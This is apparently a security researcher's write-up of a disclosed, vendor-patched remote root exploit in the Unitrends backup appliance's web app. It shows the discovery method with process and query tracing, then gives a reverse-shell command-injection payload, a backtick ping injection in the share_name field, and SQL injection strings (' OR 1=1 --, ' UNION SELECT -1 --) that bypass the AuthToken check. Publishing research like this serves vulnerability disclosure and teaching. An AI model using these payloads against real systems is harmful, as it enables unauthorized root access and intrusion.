Unitrends is an enterprise backup and recovery software suite. Downloading the free trial you get virtualized appliance which has their custom brewed PHP web app. There are many ways to start a security assessment but we will show what can be accomplished by taking a minimalistic and cursory look at an application to rapidly develop a remote root exploit. We will not be leveraging any security specific tools or special skills like reverse engineering but will demonstrate the power of basic and common utilities. This does require a shell on the box to leverage a more white box approach. In our case with UEB things are made easy for us since the vendor provides an OVA of the virtual appliance.

We will take a quick look through the web app and look for interesting functionality. I like strolling through configuration and settings menus in a quick pass for low hanging fruit. Starting with functionality that commonly results in user input being sent as input to local binaries is a great first stop. Standard examples of this is are ping test pages where the user provides a host to ping, SNMP configuration, console password resets and many other system configuration actions.

Let’s think about the ping connectivity test example. When implemented in web apps these pages are concatenating user input with the ping binary. This is a great opportunity to discover remote command execution using shell escaping techniques. The happy and non-nefarious path may result in this being executed ping -c 2 127.0.0.1. A nefarious user could craft their input to be a reverse shell payload ; bash -i >& /dev/tcp/127.0.0.1/4444 0>&1. In this simple example without any attempts to filter user input would result in the system executing ping -c 2 ; bash -i >& /dev/tcp/192.168.0.52/4444 0>&1. Which will result with the ping command failing but the subsequent reverse shell payload will execute.

Let’s dive into the app and overview the manual process for hunting this specific type of vulnerability. In addition interacting with the web app via a web browser we want to SSH into the appliance so we can conduct input tracing exercises. Ideally we will have root level shell. We are going to use our shell to identify where the value on a user input parameter in injected into OS level commands.

There are many ways to do this, I have used strace quite a bit in the past. The shortcoming I have found here is that code execution is often tough to follow. Additionally it typically limits you to tracing only httpd pid and you will miss a lot of code injection including the example bug here. Additionally there are more utilities and purpose built binaries for this sort of thing but have come up with my own hacky yet portable and effective one liner. while true; do ps -eaF; done | grep -i [A]AAA

What we are doing here is running ps repeatedly and grep’ng for a string. This is the same string we will use in every input parameter of the webapp. Let’s start, less than 5 minutes later we see good root level command injection candidates!

[root@VMware-UB ~]# while true; do ps -eaF;  done | grep -i [A]]AAA
root       648   644  0 27557  1416   0 06:44 ?        00:00:00 sh -c PATH=$PATH:/usr/bp/bin cmc_nas connect aaaaa source AAAAAAAAAAA 2049 nfs aaaaaa aaaa 'zzzzz' >/tmp/REx_yXsMlE 2>/tmp/REx_KsSyfR
root       649   648  0 27623  1768   1 06:44 ?        00:00:00 /bin/sh /usr/bp/bin/cmc_nas connect aaaaa source AAAAAAAAAAA 2049 nfs aaaaaa aaaa zzzzz
root       648   644  0 27557  1416   0 06:44 ?        00:00:00 sh -c PATH=$PATH:/usr/bp/bin cmc_nas connect aaaaa source AAAAAAAAAAA 2049 nfs aaaaaa aaaa 'zzzzz' >/tmp/REx_yXsMlE 2>/tmp/REx_KsSyfR
root       649   648  0 27623  1768   1 06:44 ?        00:00:00 /bin/sh /usr/bp/bin/cmc_nas connect aaaaa source AAAAAAAAAAA 2049 nfs aaaaaa aaaa zzzzz
root       656   649  0 26860   996   1 06:44 ?        00:00:00 ping -c1 -w 1 AAAAAAAAAAA
root       648   644  0 27557  1416   0 06:44 ?        00:00:00 sh -c PATH=$PATH:/usr/bp/bin cmc_nas connect aaaaa source AAAAAAAAAAA 2049 nfs aaaaaa aaaa 'zzzzz' >/tmp/REx_yXsMlE 2>/tmp/REx_KsSyfR
root       649   648  0 27623  1768   1 06:44 ?        00:00:00 /bin/sh /usr/bp/bin/cmc_nas connect aaaaa source AAAAAAAAAAA 2049 nfs aaaaaa aaaa zzzzz
root       656   649  0 26860   996   1 06:44 ?        00:00:00 ping -c1 -w 1 AAAAAAAAAAA
root       648   644  0 27557  1416   0 06:44 ?        00:00:00 sh -c PATH=$PATH:/usr/bp/bin cmc_nas connect aaaaa source AAAAAAAAAAA 2049 nfs aaaaaa aaaa 'zzzzz' >/tmp/REx_yXsMlE 2>/tmp/REx_KsSyfR

Contrasting to using strace where there is a lot more noise and we can conclude that there is some interprocess socket communication with user input which will take more investigation with more tools. It isn’t an obvious command injection vector.

[root@VMware-UB tmp]# cat proc_dump.* | grep -i AAAA
7376  sendto(16, "B\0\0\0\37\00015\0\0\0\0\1\0\0\0\vAAAAAAAAAAA\0\1\0\0D\0\0\0\6P\0E\0\0\0\t\0\0\0\0\0S\0\0\0\4", 54, MSG_NOSIGNAL, NULL, 0) = 54
7376  sendto(16, "B\0\0\0=\00016\0\0\0\0\4\0\0\0\vAAAAAAAAAAA\0\0\0\0042049\0\0\0\3nfs\0\0\0\vAAAAAAAAAAA\0\1\0\0D\0\0\0\6P\0E\0\0\0\t\0\0\0\0\0S\0\0\0\4", 84, MSG_NOSIGNAL, NULL, 0) = 84
7376  sendto(16, "B\0\0\0g\00017\0\0\0\0\10\0\0\0\003310\0\0\0\vAAAAAAAAAAA\0\0\0\0042049\0\0\0\3nfs\0\0\0\vAAAAAAAAAAA\0\0\0\0010\0\0\0\vAAAAAAAAAAA\0\0\0\vAAAAAAAAAAA\0\1\0\0D\0\0\0\6P\0E\0\0\0\t\0\0\0\0\0S\0\0\0\4", 126, MSG_NOSIGNAL, NULL, 0) = 126
7376  sendto(18, "\245R\0-\0\0\0t\0\0\0\1\0\0\0L\0\0\0`cmc_nas connect AAAAAAAAAAA source AAAAAAAAAAA 2049 nfs AAAAAAAAAAA AAAAAAAAAAA 'AAAAAAAAAAA'\0\0\0", 116, 0, NULL, 0) = 116
7376  recvfrom(19, "ERROR: Failed to mount directory AAAAAAAAAAA on /mnt/nas/AAAAAAAAAAA.", 69, 0, NULL, NULL) = 69

Using your browser’s developer tools we can find the relevant HTTP request from the network tab and select ‘copy as cURL’; which we will use to replay this HTTP request as we develop it into a CMDi proof of concept.

chrome1

You will end up with something like this:

curl -i -s -k  -X $'POST' \
    -H $'Origin: https://10.0.0.220' -H $'AuthToken: djA6N2Y3YTNmOTAtYWI3ZS00OTk2LWE0NzYtOTJjNTczYjg3YjFkOjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA==' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36' -H $'Content-Type: application/json;charset=UTF-8' -H $'Referer: https://10.0.0.220/ui/' \
    -b $'initial_tab_recover=1; initial_tab_jobs=1; nav=%22nav-expanded%22; autologin=false; uid=1; superuser=true; administrator=false; monitor=false; username=%22root%22; role_name=undefined; role_scope=undefined; role_recover_options=undefined; initial_tab_config=1; Page=%22Configure%22; token=%22djA6N2Y3YTNmOTAtYWI3ZS00OTk2LWE0NzYtOTJjNTczYjg3YjFkOjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA%3D%3D%22' \
    --data-binary $'{\"properties\":{\"protocol\":\"nfs\",\"port\":2049,\"hostname\":\"AAAAAAAAAAA\",\"share_name\":\"aaaaaa\",\"username\":\"aaaa\",\"password\":\"zzzzz\"},\"usage\":\"source\",\"type\":4,\"is_encrypted\":false,\"system\":1,\"name\":\"aaaaa\"}' \
    $'https://10.0.0.220/api/storage/?sid=1'

We will continue using the console output from above. Having this debugging output enables us to work efficiently as we can intelligently tune our request based on the context surrounding our input parameter. A lot of times this maybe done blindly using an Burp ActiveScan or Intruder with a fuzzdb dictionary which are great tools and can be very effective. Though we should have an even higher success doing this manually especially with more nuanced vulnerabilities. If I am having troubles coming up with CMDi strings for manual testing fuzzdb is a great resource. For example this unix CMDi page - https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-execution-unix.txt

This specific example proves to be very easy and within minutes we can demonstrate CMDi using ping. On my host OS I setup tcpdump using an inclusive filter of ICMP traffic only like so: tcpdump icmp

The sharename parameter is vulnerable to CMDi using the classic backticks: \"share_name\":\"aaaaaa`ping 10.0.0.169`\" and we see ICMP requests coming in from our UEB box.

VULNHUB-S2-052:~ csmith$ sudo tcpdump icmp
Password:
tcpdump: data link type PKTAP
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
14:03:59.333474 IP 10.0.0.220 > 10.0.0.169: ICMP echo request, id 49205, seq 1, length 64
14:04:00.384572 IP 10.0.0.220 > 10.0.0.169: ICMP echo request, id 49205, seq 2, length 64
14:04:01.504839 IP 10.0.0.220 > 10.0.0.169: ICMP echo request, id 49205, seq 3, length 64
14:04:02.332419 IP 10.0.0.220 > 10.0.0.169: ICMP echo request, id 49205, seq 4, length 64
14:04:03.357480 IP 10.0.0.220 > 10.0.0.169: ICMP echo request, id 49205, seq 5, length 64

This will be a lot more interesting if we could find an auth bypass since this vulnerability requires a valid user session for exploitation. Let’s start learning more about how the auth works on this webapp. I will simply replay the CMDi payload in cURL while modifying values that I suspect to be session credentials one at a time until the PoC breaks and I no longer see incoming ICMP requests. Using this technique it quickly becomes apparent that the AuthToken HTTP request header is the session credential, it also appears to be Base64 encoded.

VULNHUB-S2-052:~ csmith$ echo "djA6N2Y3YTNmOTAtYWI3ZS00OTk2LWE0NzYtOTJjNTczYjg3YjFkOjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA==" | base64  -D
v0:7f7a3f90-ab7e-4996-a476-92c573b87b1d:1:/usr/bp/logs.dir/gui_root.log:

Decoding the token looks like we have a session, perhaps a user ID and a log destination. The session string specifically is the actual session credential and is where we will focus first. The app is likely using a datastore to store valid sessions of authenticated users, let’s see what we can learn using our SSH access. Running a netstat we see there is a postgres db running on 5432, let’s connect and list all tables to see if we can find a sessions table.

[root@VMware-UB ~]# psql -h 127.0.0.1
psql (9.2.5)
Type "help" for help.

bpdb=#  \dt *.*
                              List of relations
       Schema       |                 Name                 | Type  |  Owner   
--------------------+--------------------------------------+-------+----------
 bp                 | alert_runs                           | table | postgres
 bp                 | alert_source                         | table | postgres
 bp                 | alerts                               | table | postgres
 bp                 | application_instances                | table | postgres
 bp                 | application_lookup                   | table | postgres
 bp                 | application_properties               | table | postgres

 bp                 | securesync_guard                     | table | postgres
 bp                 | selection_list_filenames             | table | postgres
 bp                 | selection_lists                      | table | postgres
 bp                 | sessions                             | table | postgres
 bp                 | snmp_config                          | table | postgres
 bp                 | snmp_history                         | table | postgres
 bp                 | source_replication_config            | table | postgres
 bp                 | sql_backups                          | table | postgres

 bpdb=# select * from bp.sessions;
 user_id |                 uuid                 | expiration | remote_src_id | target 
---------+--------------------------------------+------------+---------------+--------
       1 | 7f7a3f90-ab7e-4996-a476-92c573b87b1d | 1512674687 |               | 
(1 row)

Knowing that the session uuid is stored in a postgres database the first thing is a SQL injection attack. Again we will continue to leverage the SSH access for debugging purposes. Some quick googling and find the stackexchange thread for enabling query logging for postgres. We just need to locate postgresql.conf and set log_statement to ‘all’ and then tail the appropriate file in pg_log.

[root@VMware-UB ~]# find / -name pg_log
/backups/UnitrendsDataBase/pg_log
[root@VMware-UB ~]# cd /backups/UnitrendsDataBase/pg_log
[root@VMware-UB pg_log]# tail -f postgresql-2018-04-26_000000.log | grep sessions
2018-04-26 05:51:33.560 EDT [19231]: LOG:  statement: SELECT expiration FROM sessions where uuid = '5dd62e9a-efe9-4f33-8227-a97d01fe80fa'
2018-04-26 05:51:33.564 EDT [7740]: LOG:  statement: SELECT expiration FROM sessions where uuid = '5dd62e9a-efe9-4f33-8227-a97d01fe80fa'
2018-04-26 05:51:33.723 EDT [1417]: LOG:  statement: SELECT expiration FROM sessions where uuid = '5dd62e9a-efe9-4f33-8227-a97d01fe80fa'
2018-04-26 05:51:34.622 EDT [3869]: LOG:  statement: SELECT expiration FROM sessions where uuid = ' ' or 1=1 -- '
2018-04-26 05:51:35.336 EDT [15523]: LOG:  statement: SELECT expiration FROM sessions where uuid = ' ' or 1=1 -- '
2018-04-26 05:51:35.535 EDT [31063]: LOG:  statement: SELECT expiration FROM sessions where uuid = '5dd62e9a-efe9-4f33-8227-a97d01fe80fa'
2018-04-26 05:51:35.868 EDT [14351]: LOG:  statement: SELECT expiration FROM sessions where uuid = ' ' or 1=1 -- '
2018-04-26 05:51:36.416 EDT [9498]: LOG:  statement: SELECT expiration FROM sessions where uuid = '5dd62e9a-efe9-4f33-8227-a97d01fe80fa'
2018-04-26 05:51:36.421 EDT [3453]: LOG:  statement: SELECT expiration FROM sessions where uuid = '5dd62e9a-efe9-4f33-8227-a97d01fe80fa'

This turns out to be quite noisy, though of course we can pipe to grep only the queries that touch the sessions tables. It quickly is apparent that this works as expected, the applications is just grabbing the expiration column for the matching uuid from the user session. From there it must be comparing the expiration against the current time.

Let’s try some basic SQLi strings. We of course will have to Base64 encode the AuthToken. Sure enough the first and most textbook example works: ‘ OR 1=1 -- This is great, we have an authorization bypass and a root level CMDi exploit. Eventually we come to realize that this isn’t as reliable we hoped and the issue is the auth bypass. Yes our basic string worked initially but we are dependent of two things: a valid session in the sessions table, the first session returned not being expired.

Knowing how simple the query is and how it works we opted to just do a UNION query which should be 100% reliable. The condition we really need to satisfy is the check the application does on the returned expiration timestamp. We came up with this string: ' UNION SELECT -1 --

There we go, from 0 to remote root while using only standard utilities.

Timeline:
01/10/2017 - Vulnerabilities discovered
01/18/2017 - Attempted to make contact with vendor via phone and email
01/20/2017 - Contacted CERT for help getting a security contact with vendor
02/07/2017 - Make contact with vendors security engineer and submit PoC
04/11/2017 - Vendor patched for vulnerabilities